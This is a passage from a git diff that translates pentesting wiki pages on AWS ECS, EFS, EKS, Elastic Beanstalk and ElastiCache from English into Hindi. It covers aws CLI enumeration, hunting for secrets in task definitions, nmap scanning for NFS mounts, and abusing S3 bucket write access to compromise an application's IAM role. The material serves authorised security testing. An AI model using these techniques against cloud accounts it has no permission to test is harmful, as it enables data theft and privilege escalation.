(Fargate/EC2/External),** **नेटवर्किंग** जानकारी जैसे VPC’s, सबनेट, और सुरक्षा समूहों को परिभाषित करते हैं। +- वहाँ **2 प्रकार के एप्लिकेशन** हैं: +- **Service**: कार्यों का एक समूह जो लंबे समय तक चलने वाले कंप्यूटिंग कार्य को संभालता है जिसे रोका और पुनः प्रारंभ किया जा सकता है। उदाहरण के लिए, एक वेब एप्लिकेशन। +- **Task**: एक स्वतंत्र कार्य जो चलता है और समाप्त होता है। उदाहरण के लिए, एक बैच कार्य। +- सेवा एप्लिकेशनों के बीच, **2 प्रकार के सेवा शेड्यूलर** हैं: +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): प्रतिकृति शेड्यूलिंग रणनीति आपके क्लस्टर में **चाहिए संख्या** के कार्यों को रखती और **बनाए रखती है**। यदि किसी कारणवश एक कार्य बंद हो जाता है, तो एक नया उसी या अलग नोड में लॉन्च किया जाता है। +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): आवश्यक आवश्यकताओं वाले प्रत्येक सक्रिय कंटेनर इंस्टेंस पर ठीक एक कार्य तैनात करता है। कार्यों की आवश्यक संख्या, कार्य स्थान रणनीति, या सेवा ऑटो स्केलिंग नीतियों का उपयोग करने की आवश्यकता नहीं है। +- **Task Definitions** **यह परिभाषित करने के लिए जिम्मेदार हैं कि कौन से कंटेनर चलेंगे** और विभिन्न पैरामीटर जो कंटेनरों के साथ कॉन्फ़िगर किए जाएंगे जैसे **पोर्ट मैपिंग** होस्ट के साथ, **env वेरिएबल**, Docker **एंट्रीपॉइंट**... +- संवेदनशील जानकारी के लिए **env वेरिएबल्स की जांच करें**! ### Sensitive Data In Task Definitions -Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within. +Task definitions **ECS में चलने वाले वास्तविक कंटेनरों को कॉन्फ़िगर करने के लिए जिम्मेदार हैं**। चूंकि कार्य परिभाषाएँ यह परिभाषित करती हैं कि कंटेनर कैसे चलेंगे, इसलिए इसमें बहुत सारी जानकारी मिल सकती है। -Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions. +Pacu ECS को सूचीबद्ध कर सकता है (list-clusters, list-container-instances, list-services, list-task-definitions), यह कार्य परिभाषाएँ भी डंप कर सकता है। ### Enumeration - ```bash # Clusters info aws ecs list-clusters @@ -52,35 +51,30 @@ aws ecs describe-tasks --cluster --tasks ## Look for env vars and secrets used from the task definition aws ecs describe-task-definition --task-definition : ``` - -### Unauthenticated Access +### अनधिकृत पहुँच {{#ref}} ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md {{#endref}} -### Privesc +### प्रिवेस्क -In the following page you can check how to **abuse ECS permissions to escalate privileges**: +अगली पृष्ठ पर आप देख सकते हैं कि **ECS अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### Post Exploitation +### पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md {{#endref}} -### Persistence +### स्थिरता {{#ref}} ../aws-persistence/aws-ecs-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index bcf4e58d4..a5d8b7b17 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -6,20 +6,19 @@ ### Basic Information -Amazon Elastic File System (EFS) is presented as a **fully managed, scalable, and elastic network file system** by AWS. The service facilitates the creation and configuration of **file systems** that can be concurrently accessed by multiple EC2 instances and other AWS services. The key features of EFS include its ability to automatically scale without manual intervention, provision low-latency access, support high-throughput workloads, guarantee data durability, and seamlessly integrate with various AWS security mechanisms. +Amazon Elastic File System (EFS) को AWS द्वारा **पूर्ण रूप से प्रबंधित, स्केलेबल, और लचीले नेटवर्क फ़ाइल सिस्टम** के रूप में प्रस्तुत किया गया है। यह सेवा **फ़ाइल सिस्टम** बनाने और कॉन्फ़िगर करने की सुविधा प्रदान करती है जिन्हें कई EC2 उदाहरणों और अन्य AWS सेवाओं द्वारा एक साथ एक्सेस किया जा सकता है। EFS की प्रमुख विशेषताओं में स्वचालित रूप से स्केल करने की क्षमता, निम्न-लेटेंसी एक्सेस प्रदान करना, उच्च-थ्रूपुट कार्यभार का समर्थन करना, डेटा की स्थिरता की गारंटी देना, और विभिन्न AWS सुरक्षा तंत्रों के साथ निर्बाध रूप से एकीकृत होना शामिल है। -By **default**, the EFS folder to mount will be **`/`** but it could have a **different name**. +**डिफ़ॉल्ट** रूप से, EFS को माउंट करने के लिए फ़ोल्डर **`/`** होगा लेकिन इसका **अलग नाम** हो सकता है। ### Network Access -An EFS is created in a VPC and would be **by default accessible in all the VPC subnetworks**. However, the EFS will have a Security Group. In order to **give access to an EC2** (or any other AWS service) to mount the EFS, it’s needed to **allow in the EFS security group an inbound NFS** (2049 port) **rule from the EC2 Security Group**. +EFS एक VPC में बनाया जाता है और **डिफ़ॉल्ट रूप से सभी VPC उपनेटवर्क में सुलभ होगा**। हालाँकि, EFS का एक सुरक्षा समूह होगा। EFS को माउंट करने के लिए **EC2** (या किसी अन्य AWS सेवा) को **एक इनबाउंड NFS** (2049 पोर्ट) **नियम को EFS सुरक्षा समूह में अनुमति देना आवश्यक है**। -Without this, you **won't be able to contact the NFS service**. +इसके बिना, आप **NFS सेवा से संपर्क नहीं कर पाएंगे**। -For more information about how to do this check: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) +इस बारे में अधिक जानकारी के लिए देखें: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) ### Enumeration - ```bash # Get filesystems and access policies (if any) aws efs describe-file-systems @@ -39,12 +38,10 @@ aws efs describe-replication-configurations # Search for NFS in EC2 networks sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` - > [!CAUTION] -> It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**. +> यह हो सकता है कि EFS माउंट पॉइंट उसी VPC के अंदर हो लेकिन एक अलग सबनेट में। यदि आप सुनिश्चित करना चाहते हैं कि आप सभी **EFS पॉइंट्स खोजें, तो `/16` नेटमास्क को स्कैन करना बेहतर होगा**। ### Mount EFS - ```bash sudo mkdir /efs @@ -58,70 +55,63 @@ sudo yum install amazon-efs-utils # If centos sudo apt-get install amazon-efs-utils # If ubuntu sudo mount -t efs :/ /efs/ ``` - ### IAM Access -By **default** anyone with **network access to the EFS** will be able to mount, **read and write it even as root user**. However, File System policies could be in place **only allowing principals with specific permissions** to access it.\ -For example, this File System policy **won't allow even to mount** the file system if you **don't have the IAM permission**: - +**डिफ़ॉल्ट** रूप से, EFS तक **नेटवर्क एक्सेस** रखने वाला कोई भी व्यक्ति इसे माउंट, **पढ़ और लिख** सकता है, यहां तक कि रूट उपयोगकर्ता के रूप में भी। हालाँकि, फ़ाइल प्रणाली नीतियाँ लागू की जा सकती हैं **जो केवल विशिष्ट अनुमतियों वाले प्रिंसिपल को** इसे एक्सेस करने की अनुमति देती हैं।\ +उदाहरण के लिए, यह फ़ाइल प्रणाली नीति **यहां तक कि माउंट करने की अनुमति नहीं देगी** यदि आपके पास **IAM अनुमति** नहीं है: ```json { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", - "Statement": [ - { - "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "", - "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", +"Statement": [ +{ +"Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "", +"Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - -Or this will **prevent anonymous access**: +या **गुमनाम पहुँच को रोक देगा**:
-Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command: - +ध्यान दें कि IAM द्वारा सुरक्षित फ़ाइल सिस्टम को माउंट करने के लिए आपको माउंट कमांड में "efs" प्रकार का उपयोग करना अनिवार्य है: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` - ### Access Points -**Access points** are **application**-specific entry points **into an EFS file system** that make it easier to manage application access to shared datasets. +**Access points** एक **application**-विशिष्ट प्रवेश बिंदु हैं **EFS फ़ाइल प्रणाली** में जो साझा डेटा सेट्स तक एप्लिकेशन पहुंच प्रबंधित करना आसान बनाते हैं। -When you create an access point, you can **specify the owner and POSIX permissions** for the files and directories created through the access point. You can also **define a custom root directory** for the access point, either by specifying an existing directory or by creating a new one with the desired permissions. This allows you to **control access to your EFS file system on a per-application or per-user basis**, making it easier to manage and secure your shared file data. - -**You can mount the File System from an access point with something like:** +जब आप एक access point बनाते हैं, तो आप **फाइलों और निर्देशिकाओं के लिए मालिक और POSIX अनुमतियाँ** निर्दिष्ट कर सकते हैं जो access point के माध्यम से बनाई जाती हैं। आप access point के लिए **एक कस्टम रूट निर्देशिका** भी परिभाषित कर सकते हैं, या तो एक मौजूदा निर्देशिका निर्दिष्ट करके या इच्छित अनुमतियों के साथ एक नई बनाकर। यह आपको **आपकी EFS फ़ाइल प्रणाली तक पहुंच को प्रति-एप्लिकेशन या प्रति-उपयोगकर्ता आधार पर नियंत्रित करने** की अनुमति देता है, जिससे आपके साझा फ़ाइल डेटा को प्रबंधित और सुरक्षित करना आसान हो जाता है। +**आप access point से फ़ाइल प्रणाली को इस तरह माउंट कर सकते हैं:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ - /efs/ + /efs/ ``` - > [!WARNING] -> Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it. +> ध्यान दें कि एक एक्सेस पॉइंट को माउंट करने की कोशिश करते समय, आपको **नेटवर्क के माध्यम से NFS सेवा से संपर्क करने में सक्षम होना चाहिए**, और यदि EFS में एक फ़ाइल प्रणाली **नीति** है, तो आपको इसे माउंट करने के लिए **पर्याप्त IAM अनुमतियाँ** चाहिए। -Access points can be used for the following purposes: +एक्सेस पॉइंट का उपयोग निम्नलिखित उद्देश्यों के लिए किया जा सकता है: -- **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions. -- **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification. -- **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications. +- **अनुमतियों के प्रबंधन को सरल बनाना**: प्रत्येक एक्सेस पॉइंट के लिए एक POSIX उपयोगकर्ता और समूह को परिभाषित करके, आप बिना अंतर्निहित फ़ाइल प्रणाली की अनुमतियों को संशोधित किए विभिन्न अनुप्रयोगों या उपयोगकर्ताओं के लिए पहुँच अनुमतियों को आसानी से प्रबंधित कर सकते हैं। +- **एक रूट निर्देशिका को लागू करना**: एक्सेस पॉइंट EFS फ़ाइल प्रणाली के भीतर एक विशिष्ट निर्देशिका तक पहुँच को प्रतिबंधित कर सकते हैं, यह सुनिश्चित करते हुए कि प्रत्येक अनुप्रयोग या उपयोगकर्ता अपने निर्दिष्ट फ़ोल्डर के भीतर कार्य करता है। यह आकस्मिक डेटा एक्सपोजर या संशोधन को रोकने में मदद करता है। +- **फ़ाइल प्रणाली तक पहुँच को आसान बनाना**: एक्सेस पॉइंट को AWS Lambda फ़ंक्शन या AWS Fargate कार्य के साथ जोड़ा जा सकता है, सर्वरलेस और कंटेनरयुक्त अनुप्रयोगों के लिए फ़ाइल प्रणाली तक पहुँच को सरल बनाते हुए। ## Privesc @@ -142,7 +132,3 @@ Access points can be used for the following purposes: {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index a7ead6d10..d1b5bc0b8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,17 +4,16 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS. +Amazon Elastic Kubernetes Service (Amazon EKS) उपयोगकर्ताओं को अपने स्वयं के Kubernetes नियंत्रण विमान या नोड्स को स्थापित, संचालित और प्रबंधित करने की आवश्यकता को समाप्त करने के लिए डिज़ाइन किया गया है। इसके बजाय, Amazon EKS इन घटकों का प्रबंधन करता है, AWS पर Kubernetes का उपयोग करके कंटेनराइज्ड अनुप्रयोगों को तैनात, प्रबंधित और स्केल करने का एक सरल तरीका प्रदान करता है। -Key aspects of Amazon EKS include: +Amazon EKS के प्रमुख पहलू शामिल हैं: -1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates. -2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security. -3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design. -4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment. +1. **Managed Kubernetes Control Plane**: Amazon EKS महत्वपूर्ण कार्यों जैसे पैचिंग, नोड प्रोविजनिंग और अपडेट को स्वचालित करता है। +2. **Integration with AWS Services**: यह कंप्यूट, स्टोरेज, डेटाबेस और सुरक्षा के लिए AWS सेवाओं के साथ निर्बाध एकीकरण प्रदान करता है। +3. **Scalability and Security**: Amazon EKS को अत्यधिक उपलब्ध और सुरक्षित होने के लिए डिज़ाइन किया गया है, जो स्वचालित स्केलिंग और डिज़ाइन द्वारा पृथक्करण जैसी सुविधाएँ प्रदान करता है। +4. **Compatibility with Kubernetes**: Amazon EKS पर चलने वाले अनुप्रयोग किसी भी मानक Kubernetes वातावरण पर चलने वाले अनुप्रयोगों के साथ पूरी तरह से संगत हैं। #### Enumeration - ```bash aws eks list-clusters aws eks describe-cluster --name @@ -32,19 +31,14 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` - -#### Post Exploitation +#### पोस्ट एक्सप्लॉइटेशन {{#ref}} ../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -## References +## संदर्भ - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 980504dac..939138b6a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,17 +4,17 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk provides a simplified platform for **deploying, managing, and scaling web applications and services**. It supports a variety of programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, and Go, as well as Docker containers. The service is compatible with widely-used servers including Apache, Nginx, Passenger, and IIS. +Amazon Elastic Beanstalk एक सरल प्लेटफ़ॉर्म प्रदान करता है **वेब अनुप्रयोगों और सेवाओं को तैनात, प्रबंधित और स्केल करने के लिए**। यह विभिन्न प्रोग्रामिंग भाषाओं और ढांचों का समर्थन करता है, जैसे Java, .NET, PHP, Node.js, Python, Ruby, और Go, साथ ही Docker कंटेनरों का भी। यह सेवा व्यापक रूप से उपयोग किए जाने वाले सर्वरों के साथ संगत है, जिसमें Apache, Nginx, Passenger, और IIS शामिल हैं। -Elastic Beanstalk provides a simple and flexible way to **deploy your applications to the AWS cloud**, without the need to worry about the underlying infrastructure. It **automatically** handles the details of capacity **provisioning**, load **balancing**, **scaling**, and application health **monitoring**, allowing you to focus on writing and deploying your code. +Elastic Beanstalk एक सरल और लचीला तरीका प्रदान करता है **आपके अनुप्रयोगों को AWS क्लाउड में तैनात करने के लिए**, बिना अंतर्निहित बुनियादी ढांचे की चिंता किए। यह **स्वचालित रूप से** क्षमता **प्रावधान**, लोड **संतुलन**, **स्केलिंग**, और अनुप्रयोग स्वास्थ्य **निगरानी** के विवरण को संभालता है, जिससे आप अपने कोड को लिखने और तैनात करने पर ध्यान केंद्रित कर सकते हैं। -The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2: +Elastic Beanstalk द्वारा निर्मित बुनियादी ढांचे का प्रबंधन **Autoscaling** समूहों द्वारा **EC2** में किया जाता है (एक लोड बैलेंसर के साथ)। जिसका अर्थ है कि दिन के अंत में, यदि आप **होस्ट से समझौता करते हैं**, तो आपको EC2 के बारे में जानना चाहिए: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -Moreover, if Docker is used, it’s possible to use **ECS**. +इसके अलावा, यदि Docker का उपयोग किया जाता है, तो **ECS** का उपयोग करना संभव है। {{#ref}} aws-eks-enum.md @@ -22,52 +22,51 @@ aws-eks-enum.md ### Application & Environments -In AWS Elastic Beanstalk, the concepts of an "application" and an "environment" serve different purposes and have distinct roles in the deployment process. +AWS Elastic Beanstalk में, "अनुप्रयोग" और "पर्यावरण" के अवधारणाएँ विभिन्न उद्देश्यों के लिए कार्य करती हैं और तैनाती प्रक्रिया में अलग-अलग भूमिकाएँ होती हैं। #### Application -- An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity. -- When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources. -- You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments. +- Elastic Beanstalk में एक अनुप्रयोग आपके अनुप्रयोग के स्रोत कोड, वातावरण, और कॉन्फ़िगरेशन के लिए एक **तार्किक कंटेनर** है। यह आपके अनुप्रयोग कोड के विभिन्न संस्करणों को एक साथ समूहित करता है और आपको उन्हें एक एकल इकाई के रूप में प्रबंधित करने की अनुमति देता है। +- जब आप एक अनुप्रयोग बनाते हैं, तो आप एक नाम और **विवरण प्रदान करते हैं, लेकिन इस चरण में कोई संसाधन प्रावधान नहीं किया जाता है**। यह बस आपके कोड और संबंधित संसाधनों को व्यवस्थित और प्रबंधित करने का एक तरीका है। +- आप एक अनुप्रयोग के भीतर **कई अनुप्रयोग संस्करण** रख सकते हैं। प्रत्येक संस्करण आपके कोड के एक विशिष्ट रिलीज़ के अनुरूप होता है, जिसे एक या अधिक वातावरण में तैनात किया जा सकता है। #### Environment -- An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration. -- **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production. -- When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings. +- एक वातावरण आपके अनुप्रयोग का एक **प्रावधानित उदाहरण** है जो AWS बुनियादी ढांचे पर चल रहा है। यह **जहाँ आपका अनुप्रयोग कोड तैनात और निष्पादित होता है**। Elastic Beanstalk वातावरण कॉन्फ़िगरेशन के आधार पर आवश्यक संसाधनों (जैसे, EC2 उदाहरण, लोड बैलेंसर, ऑटो-स्केलिंग समूह, डेटाबेस) को प्रावधान करता है। +- **प्रत्येक वातावरण आपके अनुप्रयोग के एकल संस्करण को चलाता है**, और आप विभिन्न उद्देश्यों के लिए कई वातावरण रख सकते हैं, जैसे विकास, परीक्षण, स्टेजिंग, और उत्पादन। +- जब आप एक वातावरण बनाते हैं, तो आप एक प्लेटफ़ॉर्म (जैसे, Java, .NET, Node.js, आदि) और एक वातावरण प्रकार (जैसे, वेब सर्वर या कार्यकर्ता) चुनते हैं। आप बुनियादी ढांचे और अनुप्रयोग सेटिंग्स के विभिन्न पहलुओं को नियंत्रित करने के लिए वातावरण कॉन्फ़िगरेशन को भी अनुकूलित कर सकते हैं। ### 2 types of Environments -1. **Web Server Environment**: It is designed to **host and serve web applications and APIs**. These applications typically handle incoming HTTP/HTTPS requests. The web server environment provisions resources such as **EC2 instances, load balancers, and auto-scaling** groups to handle incoming traffic, manage capacity, and ensure the application's high availability. -2. **Worker Environment**: It is designed to process **background tasks**, which are often time-consuming or resource-intensive operations that don't require immediate responses to clients. The worker environment provisions resources like **EC2 instances and auto-scaling groups**, but it **doesn't have a load balancer** since it doesn't handle HTTP/HTTPS requests directly. Instead, it consumes tasks from an **Amazon Simple Queue Service (SQS) queue**, which acts as a buffer between the worker environment and the tasks it processes. +1. **Web Server Environment**: इसे **वेब अनुप्रयोगों और APIs को होस्ट और सेवा देने के लिए डिज़ाइन किया गया है**। ये अनुप्रयोग आमतौर पर आने वाले HTTP/HTTPS अनुरोधों को संभालते हैं। वेब सर्वर वातावरण संसाधनों को प्रावधान करता है जैसे **EC2 उदाहरण, लोड बैलेंसर, और ऑटो-स्केलिंग** समूहों को आने वाले ट्रैफ़िक को संभालने, क्षमता प्रबंधित करने, और अनुप्रयोग की उच्च उपलब्धता सुनिश्चित करने के लिए। +2. **Worker Environment**: इसे **पृष्ठभूमि कार्यों** को संसाधित करने के लिए डिज़ाइन किया गया है, जो अक्सर समय-खपत करने वाले या संसाधन-गहन संचालन होते हैं जिन्हें ग्राहकों को तात्कालिक प्रतिक्रियाओं की आवश्यकता नहीं होती। कार्यकर्ता वातावरण संसाधनों को प्रावधान करता है जैसे **EC2 उदाहरण और ऑटो-स्केलिंग समूह**, लेकिन इसमें **लोड बैलेंसर नहीं होता** क्योंकि यह सीधे HTTP/HTTPS अनुरोधों को संभालता नहीं है। इसके बजाय, यह **Amazon Simple Queue Service (SQS) कतार** से कार्यों का उपभोग करता है, जो कार्यकर्ता वातावरण और उन कार्यों के बीच एक बफर के रूप में कार्य करता है जिन्हें यह संसाधित करता है। ### Security -When creating an App in Beanstalk there are 3 very important security options to choose: +Beanstalk में एक ऐप बनाते समय चुनने के लिए 3 बहुत महत्वपूर्ण सुरक्षा विकल्प होते हैं: -- **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app -- **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**) - - The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role. - - This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- **EC2 key pair**: यह **SSH कुंजी** होगी जो ऐप चलाने वाले EC2 उदाहरणों तक पहुँच सकेगी +- **IAM instance profile**: यह **instance profile** है जो उदाहरणों के पास होगा (**IAM विशेषाधिकार**) +- स्वचालित रूप से उत्पन्न भूमिका को **`aws-elasticbeanstalk-ec2-role`** कहा जाता है और इसके पास सभी ECS, सभी SQS, DynamoDB elasticbeanstalk और elasticbeanstalk S3 पर कुछ दिलचस्प पहुँच होती है, जो AWS प्रबंधित नीतियों का उपयोग करती है: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier)। +- **Service role**: यह **भूमिका है जिसका उपयोग AWS सेवा** सभी आवश्यक कार्यों को करने के लिए करेगी। मेरी जानकारी के अनुसार, एक सामान्य AWS उपयोगकर्ता उस भूमिका तक पहुँच नहीं सकता। +- AWS द्वारा उत्पन्न की गई यह भूमिका **`aws-elasticbeanstalk-service-role`** कहलाती है और AWS प्रबंधित नीतियों [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) और [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) का उपयोग करती है। -By default **metadata version 1 is disabled**: +डिफ़ॉल्ट रूप से **metadata version 1 अक्षम** है:
### Exposure -Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticbeanstalk--`**(if it was created in the AWS console). Inside this bucket you will find the uploaded **source code of the application**. +Beanstalk डेटा एक **S3 बकेट** में संग्रहीत होता है जिसका नाम है: **`elasticbeanstalk--`**(यदि इसे AWS कंसोल में बनाया गया था)। इस बकेट के अंदर आपको अपलोड किया गया **अनुप्रयोग का स्रोत कोड** मिलेगा। -The **URL** of the created webpage is **`http://-env...elasticbeanstalk.com/`** +बनाई गई वेबपृष्ठ का **URL** है **`http://-env...elasticbeanstalk.com/`** > [!WARNING] -> If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it +> यदि आपको बकेट पर **पढ़ने की पहुँच** मिलती है, तो आप **स्रोत कोड पढ़ सकते हैं** और यहां तक कि **संवेदनशील क्रेडेंशियल्स** भी पा सकते हैं > -> if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed. +> यदि आपको बकेट पर **लिखने की पहुँच** मिलती है, तो आप **स्रोत कोड को संशोधित** कर सकते हैं ताकि अगली बार इसे निष्पादित करते समय **IAM भूमिका** को **समझौता** किया जा सके। ### Enumeration - ```bash # Find S3 bucket ACCOUNT_NUMBER= @@ -85,33 +84,28 @@ aws elasticbeanstalk describe-instances-health --environment-name # G # Get events aws elasticbeanstalk describe-events ``` - -### Unauthenticated Access +### अनधिकृत पहुँच {{#ref}} ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md {{#endref}} -### Persistence +### स्थिरता {{#ref}} ../aws-persistence/aws-elastic-beanstalk-persistence.md {{#endref}} -### Privesc +### विशेषाधिकार वृद्धि {{#ref}} ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Post Exploitation +### पोस्ट शोषण {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 6305fcc91..60ed57b02 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,10 +4,9 @@ ## ElastiCache -AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**. +AWS ElastiCache एक पूरी तरह से **प्रबंधित इन-मेमोरी डेटा स्टोर और कैश सेवा** है जो अनुप्रयोगों के लिए उच्च-प्रदर्शन, कम-लेटेंसी, और स्केलेबल समाधान प्रदान करती है। यह दो लोकप्रिय ओपन-सोर्स इन-मेमोरी इंजनों का समर्थन करती है: **Redis और Memcached**। ElastiCache **सेटअप**, **प्रबंधन**, और **रखरखाव** को **सरल** 